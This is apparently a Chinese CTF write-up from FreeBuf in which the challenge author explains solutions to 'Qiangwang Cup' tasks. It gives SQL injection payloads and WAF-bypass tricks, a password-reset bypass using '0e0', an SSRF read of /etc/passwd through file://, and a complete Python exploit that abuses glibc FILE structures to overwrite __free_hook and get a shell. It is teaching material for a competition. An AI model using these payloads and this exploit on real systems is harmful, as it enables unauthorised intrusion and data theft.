“强网杯”比赛刚刚结束,本文对其中的部分题目进行解析,欢迎拍砖。
0x01 微信部分
首先给了个公众号,有这么几个操作
1. hello 没啥用
2. note [id] 查看对应id的笔记
3. test [url] 可以帮忙测试url是否可用
1. 获取服务器ip
通过上面第三个操作,那么测试一个自己的服务器,然后监听一下就能获得服务器的ip了
2. 微信注入
通过查看微信公众号文档,可以直接通过post
来模拟与公众号交互的过程:
<xml>
<ToUserName><![CDATA[toUser]]></ToUserName>
<FromUserName><![CDATA[fromUser]]></FromUserName>
<CreateTime>1348831860</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[this is a test]]></Content>
<MsgId>1234567890123456</MsgId>
</xml>
那么将这几个值都测试一下注入,发现在fromUser
这里存在注入,并且数据库是sqlite
。那么后面就很简单了,直接注入就行
<xml>
<ToUserName><![CDATA[test]]></ToUserName>
<FromUserName><![CDATA[xxx',(select group_concat(sql) from sqlite_master))-- ]]></FromUserName>
<CreateTime>1348831860</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[Note 1 TEAMKEY 054a404ff4cfd978e92f840f3b99a68d]]></Content>
<MsgId>1234567890123456</MsgId>
</xml>
获取了数据库为log
和note
之后,可以读到id=999
的一个笔记为:
You can leave me message here: http://wc.qwb.com:8088/leave_message.php
这里的插入语句是这样写的:
sql = "INSERT INTO %s (`team`,`user`,`time`) VALUES ('%s','%s','%s')"%(self.tb,team,u,t)
因为对team
的校验只是判断是否长度为32,所以其实team
在这里也是可以注入的,好像也有同学没有看到开发手册直接在公众号上就成功注入了
0x02 网站部分
通过上面已经获取了网站的ip,同时也获取了其虚拟域名从而设置hosts
进行访问。
1. sqli
上来是登陆但是没有账号密码,然后根据提示进入了留言界面,尝试xss发现没有,于是尝试注入发现好像可以,被过滤了会返回hacker
,成功插入会延时。于是可以根据过滤的字符串绕过:
re = select[(+-]
mysql> select@a:='mutepig';
+---------------+
| @a:='mutepig' |
+---------------+
| mutepig |
+---------------+
re = sleep\(.*?[@\d].*?\)
mysql> select sleep(ascii(true));
+--------------------+
| sleep(ascii(true)) |
+--------------------+
re = from\(.*?\)
mysql> select 1 from {x(mysql.user)} limit 1,1;
+---+
| 1 |
+---+
| 1 |
+---+
无逗号
mysql> select substr("1234"from{x(2)}for(1));
+--------------------------------+
| substr("1234"from{x(2)}for(1)) |
+--------------------------------+
| 2 |
+--------------------------------+
mysql> select case((select 2))when'1'then(select(sleep(5)))end'x'from users limit 1,1;
+--------------------------------------------------+
| case((select 2))when'1'then(select(sleep(5)))end |
+--------------------------------------------------+
| NULL |
+--------------------------------------------------+
未知列名:(猜出表名)
(select@x:=substr(group_concat(c)from{x(1)}for(1))from{x((select@a:=4,5,6,1,2,(3)c)union(select*from(users)))b})
本来这里是不让猜出列名的,但是测试时候设置列名比较简,上场后想起来又懒得改了,于是又比预期简单一丢丢这里给上预期的最终payload:
'-(select@a:=case(((select@x:=ascii(substr(group_concat(c)from{x(1)}))from{x((select@a:=1,2,(3)c,4,5,6)union(select*from{x(adminuser)}))b}))=51)when'1'then(select@c:=(sleep(ascii(true))))end'x'from{x(adminuser)})-'
这里出题的时候其实很随便,就是搜索了一些绕过WAF的技巧,然后一个一个加进来的,结果没想到好像在这里卡主了很多人。。同时由于最终的规则如下:允许的字符:
0123456789abcdefghijklmnokpqrstuvwxyz{}()_.+-*@:=',
被过滤的正则:
select[{('+-]|benchmark\(|file|from[('+-]|insert|update|delete|or|and|script|sleep\([^)]*?[\d'@]|(substr|substring|pad)\([^)]*?,
2. forgot password
通过注入可以发现管理员的验证码始终为0,而这里我采用的是必须是数字,用is_numeric判断,这里可以用0e0绕过
vcode=0e000000
username=stupidking&[email protected]&vcode=0e000000&npass=aklsdjfklasjdfk&vcode2=ysuA8WJh&submit=submit
3. SSRF
进入管理员页面,有一个profile
页面可以上传头像,但仔细看了下发现图像并没有上传上去,而是以dataurl
形式打印了出来,但是查看源码存在一个能输入imageurl
的text
,猜测前端代码被注释掉了但是后台代码并没有删掉于是进行测试,然后就是加上域名端口就能绕过了(主要防止被扫描器直接扫出来):
urlink=file://wc.qwb.com:8088/etc/passwd
这里最后也坑了大家一把。。由于比赛前临时将域名从qwb.wechat.com
修改成wc.qwb.com
而代码中的判断没有修改,到最后一个多小时才想起来,实在是抱歉。。
0x03 bin部分
这里设计了一个后门,原本是用密码来敲开后门的,但是一年时间过去采用的密码现在看来也很简单了T_T,所以就改为出了个pwn
来打发了XD这里逻辑并不复杂,就是输入密码和正确的密码来匹配,错了就会写入日志文件,对了其实也就打印一个假的flag
XD不知道多少人达到了这里呢?
1. leak heap
由于我们输入的长度有限制,所以只能先泄露堆,这里比较简单,由于可以溢出到文件指针fp
,所以可以直接覆盖到_IO_read_ptr
或者别的什么,就这样泄露堆地址了。
2. leak libc
其实我们的目标一致都是泄露libc
,这个可以通过泄露fp->_chain
来实现,因为当前fp->_chain
应当指向stderr
。那么利用方法就是通过play with file struct中说的方法,利用fwrite
泄露任意地址的值,关键代码如下:
fp->_flags &= ~8;
fp->_flags |= 0x800;
fp->_IO_write_base = msg;
fp->_IO_write_ptr = msg+6;
fp->_IO_read_end = fp->_IO_write_base;
fp->_fileno = 1;
fwrite(buf, 1, 0x100, fp);
3. free
这个程序看起来没有free
,完整走一遍也好像没有调用free
,但篡改了fp->_flag
后就可能会在fwrite
中调用free
,那么是哪里呢?答案就是在overflow
这,当然更多的分析可以参考 Play with FILE Structure [1] 当需求没有被满足,也就是f->_IO_write_end - f->_IO_write_ptr < todo
时,那么会调用_IO_OVERFLOW
,而在这里会判断是否在备份状态,而这正是由fp->_flag
决定的
769 if (__glibc_unlikely (_IO_in_backup (f)))
770 {
771 size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
772 _IO_free_backup_area (f);
773 f->_IO_read_base -= MIN (nbackup,
774 f->_IO_read_base - f->_IO_buf_base);
775 f->_IO_read_ptr = f->_IO_read_base;
776 }
那么在备份状态的话,则会调用_IO_free_backup_area
,而这里就调用了free (fp->_IO_save_base)
,同时我们可以看到在_IO_switch_to_main_get_area
中fp->_IO_save_base=fp->_IO_read_base
186 _IO_free_backup_area (_IO_FILE *fp)
187 {
188 if (_IO_in_backup (fp))
189 _IO_switch_to_main_get_area (fp); /* Just in case. */
190 free (fp->_IO_save_base);
191 fp->_IO_save_base = NULL;
192 fp->_IO_save_end = NULL;
193 fp->_IO_backup_base = NULL;
194 }
127 _IO_switch_to_main_get_area (_IO_FILE *fp)
128 {
129 char *tmp;
130 fp->_flags &= ~_IO_IN_BACKUP;
131 /* Swap _IO_read_end and _IO_save_end. */
132 tmp = fp->_IO_read_end;
133 fp->_IO_read_end = fp->_IO_save_end;
134 fp->_IO_save_end= tmp;
135 /* Swap _IO_read_base and _IO_save_base. */
136 tmp = fp->_IO_read_base;
137 fp->_IO_read_base = fp->_IO_save_base;
138 fp->_IO_save_base = tmp;
139 /* Set _IO_read_ptr. */
140 fp->_IO_read_ptr = fp->_IO_read_base;
141 }
也就是说,最终会调用free(fp->_IO_read_base)
,那么如果我们能篡改__free_hook
,同时将fp->_IO_read_base
指向/bin/sh
,那么就能getshell
了。
4. write
#include <stdio.h>
FILE *fp ;
char buf[0x100]="fakesecret";
char msg[0x100] = "";
int main(){
fp = fopen("test.txt","w");
fp->_IO_write_ptr = msg;
fp->_IO_write_end = fp->_IO_write_ptr+10;
fwrite(buf, 1, 0x100, fp);
puts(msg);
fclose(fp);
}
5. EXP
#!/usr/bin/env python
# encoding: utf-8
from mypwn import *
bin_file = "./backdoor"
remote_detail = ("127.0.0.1",8888)
libc_file = "./libc.so.6"
bp = []
pie = False
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
def pwd(pwd):
p.recvuntil("password > ")
p.send(pwd)
if __name__ == "__main__":
payload = '1'*0x30 + p64(0x11111111fbad3c80) + '1'*(0x98-0x38)
pwd(payload)
# leak libc
libc_addr = p.recvuntil("\n").strip()
libc_addr = libc_addr.split('11')[-1]
libc_addr = libc_addr.ljust(8,'\x00')
print libc_addr
libc_addr = u64(libc_addr)-0x3c5540
log.success("libc_addr: %s",hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
free_hook = libc_addr + libc.symbols['__free_hook']
binsh_addr = libc_addr + libc.search("/bin/sh").next()
# write free_hook
payload = p64(system_addr) + '1'*0x20 + p64(0xfbad3c80) + '1'*0x28+ p64(free_hook) + p64(free_hook + 8)
pwd(payload)
payload = '1'*0x48 + p64(binsh_addr) + '1'*0x30
pwd(payload)
p.interactive()
*本文作者:mutepig,转载请注明来自FreeBuf.COM
来源:freebuf.com 2018-03-30 09:00:27 by: mutepig
请登录后发表评论
注册